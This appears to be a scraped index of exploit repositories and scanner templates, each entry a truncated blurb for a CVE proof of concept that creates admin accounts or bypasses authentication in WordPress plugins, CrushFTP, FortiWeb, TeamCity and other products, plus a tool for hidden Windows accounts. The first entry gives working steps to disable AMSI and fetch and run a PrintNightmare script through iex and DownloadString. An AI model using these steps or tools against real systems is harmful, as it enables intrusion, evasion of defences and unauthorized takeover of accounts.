cve-2021-1675

cve-2021-1675 disble amsi: copy into powershell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt execute invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' create admin account...

CVE-2025-4334

CVE-2025-4334 - Simple User Registration --form Arguments: -u / --url → Base WordPress URL e.g. https://target.com/wordpress/ --form → Full URL of the registration form e.g. https://target.com/wpr/default-registration/ Example: python3 CVE-2025-4334.py -u https://example.com/wordpress --form...

CVE-2025-6934

CVE-2025-6934 – WordPress Opal Estate Pro Exploit 📖 Description This repository contains a Proof of Concept PoC exploit for CVE-2025-6934 , a critical vulnerability in WordPress Plugin: Opal Estate Pro = 1.7.5, allowing unauthenticated administrator account creation. ⚠️ Disclaimer : This tool is...

Suborner

Suborner: The Invisible Account Forger What's this? A simple program to create a Windows account you will only know about : Create invisible local accounts without net user or Windows OS user management applications e.g. netapi32::netuseradd Works on all Windows NT Machines Windows XP to 11,...

CrushFTP-auth-bypass-CVE-2025-31161

CrushFTP Authentication Bypass - CVE-2025-31161 A comprehensive toolkit for exploiting CVE-2025-31161, an authentication bypass vulnerability in CrushFTP that allows unauthorized user account creation. 🔍 What is CVE-2025-31161? CVE-2025-31161 is a critical authentication bypass vulnerability in...

CVE-2025-31161

CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit 📌 Description This Python exploit targets CrushFTP servers vulnerable to CVE-2025-31161. The vulnerability allows unauthenticated user account creation by sending a crafted XML payload to the WebInterface, potentially resulting...

Blinko <= 1.8.3 - User Information Leak

Blinko = 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges. id: CVE-2026-23486 info: name:...

WSO2 User Registration - Arbitrary Account Creation

The SOAP admin service in WSO2 products has a security vulnerability that allows the creation of new user accounts regardless of the self-registration configuration settings. id: CVE-2024-7097 info: name: WSO2 User Registration - Arbitrary Account Creation author: iamnoooob,rootxharsh,pdresearch...

CVE-2025-6934

CVE-2025-6934 unauthenticated privilege escalation in opal estate pro Description CVE-2025-6934 is a critical vulnerability in the Opal Estate Pro WordPress plugin ≤ v1.7.5. This bug allows an unauthenticated attacker to create a new administrator account by sending a crafted request to:...

CVE-2026-51119

CVE-2026-51119 - Privilege Escalation in Invixium IXM WEB v2.3.85.25 Overview A privilege escalation vulnerability exists in Invixium IXM WEB v2.3.85.25 due to missing authorization checks on the POST /SystemUsers/CreateAppUser endpoint. An authenticated low-privileged user can abuse this endpoin...

CVE-2022-0441

CVE-2022-0441 Title: WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation Date: 16.02.2022 Author: Numan Türle CVE: CVE-2022-0441 Software Link: https://wordpress.org/plugins/masterstudy-lms-learning-management-system/ Version: 2.7.6 Installation git clone...

cve-2023-40000

cve-2023-40000 That's a PoC of cve-2023-40000. Wordpress LiteSpeed Cache exploit. The CVE could be applied to all LiteSpeed Cache --------------------+"; echo "+----------------------------------------------------------------------+";...

CVE-2025-64446

🛡️ CVE-2025-64446 - FortiWeb Critical Authentication Bypass & Path Traversal Critical unauthenticated vulnerability allowing remote attackers to create administrator accounts on FortiWeb devices. 📌 Overview CVE-2025-64446 is a severe relative path traversal vulnerability in the FortiWeb Web...

CVE-2025-64446-FortiWeb-CGI-Bypass-PoC

CVE-2025-64446 Exploit Tool Exploit tool for CVE-2025-64446 vulnerability verification and exploitation in FortiWeb devices. Description This tool tests for and exploits a path traversal vulnerability CVE-2025-64446 in FortiWeb web application firewalls. It can be used to verify vulnerability...

CVE-2024-0204

CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Deep-Dive This repository contains a proof-of-concept exploit for the authentication bypass vulnerability CVE-2024-0204 discovered in Fortra's GoAnywhere MFT product. The vulnerability allows an unauthenticated attacker to create an...

CVE-2025-27007-OttoKit-exploit

CVE-2025-27007: OttoKit SureTriggers Privilege Escalation Vulnerability Exploitation of CVE-2025-27007, a critical vulnerability in unauthorized privilege escalation in the OttoKit plugin formerly known as SureTriggers for WordPress. This repository outlines how an attacker can create an...

CVE-2026-8732-POC

CVE-2026-8732 - WordPress WP Google Map Pro Mass Scanner & Auto Admin Creator 📌 Description This tool exploits CVE-2026-8732 , a vulnerability in the WP Google Map Pro plugin for WordPress. The vulnerability allows an unauthenticated attacker to obtain a valid wpmptoken via an AJAX endpoint...

RCity-CVE-2024-27198

RCity - CVE-2024-27198 RCE & Admin Account Creation & CVE-2024-27199 Auth Bypass Exploiting CVE-2024-27198 & CVE-2024-27199 RCity is a Python script that interacts with a vulnerable TeamCity server. The CVE facilitates for unauthorised admin account creation, bypassing 403's on the domain. Whilst...

CVE-2025-47646

🔐 CVE-2025-47646 – PSW Front-end Login & Registration = 1.12 📌 Plugin Information Plugin : PSW Front-end Login & Registration Vulnerable Version : = 1.12 CVE : CVE-2025-47646 Severity : High CVSS 9.8 Vulnerability Type : Broken Authentication Privilege Required : Unauthenticated Patched : ❌ No...

CVE-2026-8732

⚔️ CVE-2026-8732 WP Maps Pro ≤ 6.1.0 — Unauthenticated Privilege Escalation 8-Phase Exploitation Automation | Multiprocessing + Asyncio | Verified Admin Creation 🎯 About the Vulnerability The WordPress plugin WP Maps Pro version ≤ 6.1.0 has an unauthenticated privilege escalation vulnerability. An...